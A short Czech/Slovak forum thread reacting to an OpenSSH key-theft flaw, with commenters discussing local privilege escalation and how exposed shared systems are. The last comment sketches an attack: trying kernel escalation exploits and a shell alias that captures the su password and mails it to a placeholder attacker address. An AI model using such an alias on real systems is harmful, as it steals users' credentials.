Vlákno názorů k článku OpenSSH obsahuje chybu umožňující ukrást klientské klíče od cmar - takže ak sa dostane na server tak len...

takže ak sa dostane na server tak len ako uzivatel bez prav ... a nech teda potom háda to heslo na su :)

On bezny ucet uz v dnesni dobe skoro polovicni root, zvlast, pokud se dotycny vyzna. Tim chci rict, ze moznosti, jak lokalne eskalovat prava je mnohem vic nez jak se vzdalene "nejak" dostat do systemu.
Heslo na su by v takove situaci totiz hadal jen malokdo.

Ja pouzivam zaheslovany klic, i ssh mam povolene jen na vybrane adresy a rozhodne si nemyslim, ze bych byl v nejakem extra bezpeci, bohuzel.

Dneska je imo napichle skoro vsechno, aktivnima prvkama po ceste pocinaje a zasadnima lokalnima knihovnama (openssl, urco i dalsi) konce. Vzdyt co toho za posledni mesic vyplavalo... hrozne moc.

Pokud to není nějaký fakt hodně osekaný pseudoshell, tak může třeba

- zkusit nějaký local privilege escalation exploit na kernel, pár jich už bylo

- alias su="read .. | mail utocnik@ble"